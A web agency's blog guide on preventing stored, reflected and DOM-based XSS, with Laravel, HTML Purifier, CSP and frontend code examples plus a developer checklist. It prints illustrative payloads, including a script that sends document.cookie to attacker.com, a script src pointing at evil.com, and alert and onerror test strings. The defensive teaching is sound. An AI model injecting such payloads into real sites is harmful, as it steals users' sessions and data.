f in x
XSS Cross-Site Scripting: Stored, Reflected, and DOM — An Operative Prevention Guide
> cd .. / HUB_EDITORIALE
Sicurezza Informatica

XSS Cross-Site Scripting: Stored, Reflected, and DOM — An Operative Prevention Guide

[2026-06-14] Author: Ing. Calogero Bono

A client calls us in panic: "Customers see strange pop-ups, the site redirects to gambling pages, and someone is accusing me of stealing credit card data." Scenario: XSS, a bug as old as the web, yet still the most exploited vulnerability in web applications. If you don't block it, your site becomes a vehicle to attack your own users.

We, at Meteora Web, see it every day in projects we audit: forms accepting arbitrary code, unsanitized URLs, misconfigured frameworks. In this operative guide, we explain the three types of XSS — stored, reflected, DOM — and how to prevent them with concrete code, not abstract theory.

This guide is a spoke of our Pillar Guide on Web Security for Developers.

What is an XSS attack and why it matters to you

XSS (Cross-Site Scripting) allows an attacker to inject arbitrary scripts into a web page viewed by other users. The malicious JavaScript executes in the victim's browser with the same privileges as your application. It can steal cookies, manipulate the DOM, exfiltrate data, log keystrokes. For a business, that means loss of trust, reputation damage, and potential GDPR fines.

According to OWASP, XSS is consistently among the top web vulnerabilities. The solution isn't complex: validation, sanitization, escaping, and Content Security Policy. But you need to know where and how to apply them.

The three faces of XSS: Stored, Reflected, DOM

Let's grasp the differences with real examples, then see countermeasures.

Stored XSS (persistent)

The malicious script is stored on the server (database, file, logs) and served to every request. Typical: comments, reviews, user profiles, config fields.

Sponsored Protocol

Concrete example: A forum. A malicious user posts a comment:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
If the server doesn't escape the output, every visitor executes that script. If the client hadn't set HttpOnly cookies, session is gone.

Reflected XSS (non-persistent)

The script is part of the request itself (URL, GET/POST parameters, headers) and is reflected in the response without being stored. Requires a crafted link or form submission with the payload.

Concrete example: An internal search engine: https://example.com/search?q=<script>alert(1)</script>. If the q value is printed on the page unsanitized, the script runs. The attacker sends the link to an unsuspecting user.

DOM-based XSS

More subtle: the vulnerability lies in client-side JavaScript. The server is not responsible, but the DOM is dynamically modified using unsafe input (e.g., from location.hash, document.URL, localStorage).

Concrete example: A JS function reads window.location.hash and inserts it into innerHTML. If the URL is https://example.com/#<img src=x onerror=alert(1)>, the code executes. The server never sees the payload.

How to prevent XSS: the 3 mandatory defenses

Every layer must be guarded. There is no single technique that blocks everything. We always apply these three countermeasures in priority order.

Sponsored Protocol

1. Contextual output escaping (server-side)

Every user-supplied data printed in HTML must be transformed so it cannot be interpreted as code. Rules change depending on context: HTML body, attributes, JavaScript, CSS, URLs.

In PHP (Laravel), Blade templates escape automatically with {{ $var }}. But beware: {!! $var !!} does not escape. Use it only if you are absolutely certain the content is safe (and you never are 100%). For attributes, just use {{ $var }}. For JavaScript contexts, never concatenate strings directly; use json_encode with built-in escaping.

Example in Laravel (correct):

// Correct: escape HTML
<div>{{ $user->name }}</div>
// For attribute
<input value="{{ $user->name }}">
// For JavaScript
<script>
  const user = @json($user);
</script>

Common mistake: using htmlspecialchars without specifying context. For attributes, & and " must be escaped, but < and > alone are not enough if the attribute is href or src.

2. Server-side sanitization for structured input

If a field must accept limited HTML (e.g., rich-text editor), you cannot escape everything. Then you must sanitize: remove dangerous tags and attributes while keeping safe ones. We use HTML Purifier (PHP) or DOMPurify (client-side for preview). But sanitization is complex; if you don't handle every case, XSS slips through. Prefer limiting the allowed markup (bold, italic, links to allowed domains) rather than allowing everything and cleaning.

Sponsored Protocol

Example with HTML Purifier in Laravel:

$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,b,i,a[href],ul,ol,li');
$purifier = new HTMLPurifier($config);
$cleanHtml = $purifier->purify($dirtyInput);

3. Content Security Policy (CSP)

If previous defenses fail, CSP is the safety net. An HTTP header that tells the browser from which sources it can load scripts, styles, images, etc. If an attacker injects <script src="https://evil.com/hack.js">, the browser blocks it if the CSP doesn't allow that domain.

Example minimal CSP header (to set on server):

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:

Caution: avoid 'unsafe-inline' for scripts if possible. For modern apps using JS frameworks, use nonce or hash. In Laravel, you can set CSP via custom middleware or packages like bepsvpt/secure-headers.

Preventing DOM-based XSS: the forgotten pitfall

Many developers secure the backend but forget the frontend. DOM-based XSS is prevented by never writing user input into innerHTML, outerHTML, document.write, eval, setTimeout(string), or direct DOM manipulation via jQuery .html(). Always use safe APIs like textContent, setAttribute, createTextNode.

Wrong example (vulnerable):

// VULNERABLE
const name = location.hash.slice(1); // '<img src=x onerror=alert(1)>'
document.getElementById('welcome').innerHTML = 'Hello, ' + name;

Safe example:

Sponsored Protocol

// SAFE
const name = location.hash.slice(1);
document.getElementById('welcome').textContent = 'Hello, ' + name;
// Or sanitize with DOMPurify if HTML is required
import DOMPurify from 'dompurify';
document.getElementById('welcome').innerHTML = DOMPurify.sanitize('Hello, ' + name);

Golden rule: if the value ends up in an HTML context, never use innerHTML, outerHTML, insertAdjacentHTML with unsanitized input. Even location and URL values need validation with trusted types and whitelist patterns.

Operative checklist for developers

We, at Meteora Web, use this list on every project before go-live. Print it and apply it.

  • [ ] All user data in HTML output is escaped using template engine (Blade, Twig, React with JSX that escapes by default but watch out for dangerouslySetInnerHTML).
  • [ ] We do not use eval(), new Function(), setTimeout() with strings.
  • [ ] We do not write user input directly into innerHTML, document.write, outerHTML.
  • [ ] For rich-text editors we use HTML Purifier (server) or DOMPurify (client).
  • [ ] CSP configured with restricted script-src (no 'unsafe-inline') and report-uri to monitor violations.
  • [ ] Session cookies set with HttpOnly, Secure, SameSite=Lax — at minimum.
  • [ ] GET/POST parameters are not used directly inside <script> tags or event attributes.
  • [ ] In React/Angular/Vue, avoid v-html, innerHTML, [innerHTML] unless explicit sanitization.
  • [ ] Test with automatic scanner (OWASP ZAP) and manual payloads: <script>alert(1)</script>, <img src=x onerror=alert(1)>, " onmouseover="alert(1).

Common mistakes we see in inherited projects

From our experience, here's what keeps coming back:

Sponsored Protocol

  • Unescaped PHP echo (e.g., <?= $var ?> unsafe).
  • JSON field directly inserted into innerHTML — even if JSON is "safe", if it contains an XSS payload, it executes.
  • GET method forms without sanitization — URL parameters reflected in page.
  • CSP with 'unsafe-inline' on everything — practically nullifies protection.
  • Not setting HttpOnly on cookies — XSS becomes instant session theft.

In summary — what to do now

  1. Scan immediately your site with OWASP ZAP or an online tool. Look for XSS in input fields, URL parameters, and comments.
  2. Fix output: in templates, always escape using the correct function for the context. In Laravel, use {{ }} everywhere except for sanitized safe HTML.
  3. Set up CSP: even a basic CSP blocks most classic XSS. Start with default-src 'self'; script-src 'self'; and test.
  4. Eliminate innerHTML from your frontend. Replace with textContent, createElement, or frameworks with automatic escaping.
  5. Use an input parser for fields that must accept markup: HTML Purifier or DOMPurify.

Remember: security is not a feature toggle. It's a habit. We, at Meteora Web, always say: an XSS attack is one of the fastest ways to destroy client trust. Preventing it costs little, fixing it costs dearly.

Ing. Calogero Bono

> AUTHOR_EXTRACTED

Ing. Calogero Bono

Ingegnere Informatico, co-fondatore di Meteora Web. Esperto in architetture software, sicurezza informatica e sviluppo sistemi scalabili.
[ Read Full Dossier ]

> METEORA_WEB // DIGITAL AGENCY

We build the digital presence your business deserves.

Websites, social media, online advertising, e-commerce and high-performance hosting, engineered with method by computer engineers in Sciacca, for all of Italy.

> MW_JOURNAL

> READ_ALL()